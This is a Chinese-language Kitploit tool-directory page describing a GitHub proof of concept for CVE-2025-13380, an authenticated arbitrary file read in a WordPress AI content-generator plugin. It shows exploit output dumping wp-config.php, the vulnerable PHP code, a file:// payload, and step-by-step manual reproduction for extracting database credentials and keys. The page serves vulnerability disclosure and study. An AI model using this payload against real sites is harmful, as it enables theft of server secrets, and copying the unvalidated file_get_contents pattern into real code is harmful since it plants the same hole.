Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-13380 — WordPress 的 AI 引擎:ChatGPT、GPT 内容生成器 <= 1.0.1 - 已认证(Contributor+)任意文件读取 | Kitploit
工具/GitHubGitHub/d0n601/cve-2025-13380
漏洞分析漏洞利用Web应用程序漏洞利用信息收集Web安全渗透测试
GitHubd0n601/cve-2025-13380

CVE-2025-13380

WordPress 的 AI 引擎:ChatGPT、GPT 内容生成器 <= 1.0.1 - 已认证(Contributor+)任意文件读取

查看仓库
9个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - 已认证(贡献者及以上)任意文件读取

WordPress 的 AI Engine for WordPress 插件在其图片插入功能中存在一个漏洞,该漏洞允许任何具有文章编辑能力的已认证用户(贡献者、作者、编辑、管理员)从服务器下载任意文件。该漏洞源于 lqdai_update_post AJAX 端点缺乏适当的能力检查,以及 insert_image() 函数使用 file_get_contents() 处理用户控制的 URL 时没有进行协议验证,从而允许通过 file:// 协议下载任意文件。

漏洞利用摘要

  • 提供了一个 PoC CVE-2025-13380.py,用于演示贡献者级别的用户下载站点的 wp-config.php 文件。
root@kitploit:~
 python3 ./exploit.py http://techcorp.cc contributor password   
[+] Target: http://techcorp.cc
[+] Username: contributor
[+] Nonce obtained: 5dc61a0166
[+] Post created with ID: 148
[+] File written to uploads directory
[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
[+] File retrieved successfully!
[+] wp-config.php contents:
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...

详细信息

文件插入函数

lqdai_update_post AJAX 操作调用了位于 /wp-content/plugins/liquid-chatgpt/liquid-chatgpt.php 文件中第 315 行的 update_post() 函数,该函数缺乏适当的能力检查,允许任何已认证用户修改其可以编辑的文章:

root@kitploit:~
function update_post() {
    if ( empty( $posts = $_POST['posts'] ) ) {
        wp_send_json( [
            'error' => true,
            'message' => __( 'Data is null!', 'lqdai' ),
        ] );
    }

    $args = [
        'ID'            => $posts['post_id'],
        'post_title'    => $posts['title'],
        'post_content'  => $posts['content'],
        'post_status'   => 'draft',
    ];

    $update_post = wp_update_post( $args );
    
    if ( is_wp_error( $update_post ) ) {
        wp_send_json( [
            'error' => true,
            'message' => $update_post->get_error_messages()
        ] );
    } else {
        wp_set_post_tags( $posts['post_id'], $posts['tags'], false );

        if ( !empty( $posts['image'] ) ) {
            $this->insert_image( $posts['post_id'], $posts['image'] );  // <-- 任意文件下载漏洞
        }
    }
}

insert_image() 中的任意文件下载

位于第 419 行的 insert_image() 函数使用了 file_get_contents() 处理用户控制的 URL,且没有进行协议验证,从而允许任意文件下载:

root@kitploit:~
function insert_image( $post_id, $image_url ) {
    // 获取上传目录路径
    $upload_dir = wp_upload_dir();
    $image_data = file_get_contents($image_url);

    $filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
    
    // 将图片保存到上传目录
    if ( wp_mkdir_p($upload_dir['path']) ) {
        $file = $upload_dir['path'] . '/' . $filename;
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }
    
    file_put_contents($file, $image_data);  // <-- 写入操作
    
    // 获取图片的附件 ID
    $wp_filetype = wp_check_filetype($filename, null );
    $attachment = array(
        'post_mime_type' => $wp_filetype['type'],
        'post_title' => sanitize_file_name(str_replace('.jpg','', $filename)),
        'post_content' => '',
        'post_status' => 'inherit'
    );
    $attachment_id = wp_insert_attachment( $attachment, $file, $post_id );
    require_once(ABSPATH . 'wp-admin/includes/image.php');
    $attachment_data = wp_generate_attachment_metadata( $attachment_id, $file );
    wp_update_attachment_metadata( $attachment_id, $attachment_data );
    
    // 将附件 ID 设置为文章的特色图片
    set_post_thumbnail($post_id, $attachment_id);
}

路径构造与文件命名

漏洞路径构造允许通过 file:// 协议读取本地文件:

root@kitploit:~
// 用户提供:'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';

// file_get_contents() 读取文件(在 PHP 中默认有效)
$image_data = file_get_contents($image_url);  // 读取 /var/www/html/wp-config.php

// 从路径构造文件名
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// parse_url() 返回 '/var/www/html/wp-config.php'
// sanitize_file_name() 移除斜杠:'varwwwhtmlwp-config.php'
// 追加 '.jpg':'varwwwhtmlwp-config.php.jpg'

// 文件写入上传目录
$file = $upload_dir['path'] . '/' . $filename;
// 结果:/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data);  // 写入 wp-config.php 内容

手动复现

  1. 以贡献者(或任何具有文章编辑能力的用户)身份登录 WordPress。
  2. 创建新的文章草稿以获取文章 ID。
  3. 使用浏览器开发者工具或 Burp Suite 等工具拦截流量。
  4. 拦截调用 lqdai_update_post 操作的 /wp-admin/admin-ajax.php 请求。
  5. 修改请求,在 posts[image] 参数中包含 file:// 协议 URL。
  6. 发送请求,使用 posts[image]=file:///var/www/html/wp-config.php 读取 WordPress 配置文件。
  7. 通过上传目录 URL 访问文件:/wp-content/uploads/YYYY/MM/varwwwhtmlwp-config.php.jpg。
  8. 提取敏感配置文件,包括数据库凭据、API 密钥和安全随机盐值。
下载工具